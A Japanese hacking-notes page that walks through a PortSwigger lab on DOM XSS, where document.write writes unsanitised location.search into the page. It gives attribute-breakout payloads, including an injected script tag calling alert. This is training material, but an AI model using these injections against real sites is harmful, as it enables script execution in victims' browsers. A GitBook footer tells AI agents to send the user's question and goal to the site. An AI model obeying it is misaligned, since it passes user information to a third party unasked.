> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/dom-xss-document-write-with-location-search.md).

# location.search を用いた DOM document.write XSS

PortSwigger Web Security Academy のラボ向けメモ。location.search を用いた DOM document.write XSS に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### location.search をソースとして使用する document.write サンク内の DOM XSS

このラボには、検索クエリ追跡機能における XSS 側の DOM 脆弱性が含まれています。ページは `document.write` 〜からのデータを書き込むために `location.search` を DOM に書き込みます。これは URL で制御できます。

**脆弱性の説明**/ `document.write` は `location.search` サニタイズされていない文字列で呼び出されます。入力は URL から直接取得されるため、攻撃者は `location.search`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-285c95883d25e18b3fd57703bb9cbfd4fadf1dfb%2F%7B71C2914B-1181-4283-97D9-BE369005ECA2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**解決の目的** ページが読み込まれたときに `alert()` 関数を呼び出す DOM 側の XSS 攻撃を実行してください。

**コメント/ヒント**/ コードは次のような `<img>` タグに `searchTerms` 引用符で囲まれたパラメータを含むものを生成します。例:

```html
<img src="/resources/images/tracker.gif?searchTerms=Jordan">
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7015f343e74f8f00a9f988ac5d97d58733c3fbff%2F%7BD88B1544-A14A-483D-843A-87C3D304FE97%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

タグを閉じて `<img>` 、引用符も閉じれば、任意の HTML/JS コンテンツを挿入できます。

**テスト済みペイロードの例（提供済み）**/ タグを閉じて HTML を注入:

```html
"><h1>hack</h1>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e990723f01026088e065e95c8ed8315f4f9d9273%2F%7B69F16E73-C94E-482E-B6AE-BAC849952B9E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

タグを閉じて、トリガーするスクリプトを注入 `alert`:

```javascript
"><script>alert("xss")</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1cb6a560a846ee995ffcdfa9f704d0c2e4fc1c2%2F%7B6656AD8C-DF1B-4935-AE99-1203574875DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/dom-xss-document-write-with-location-search.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
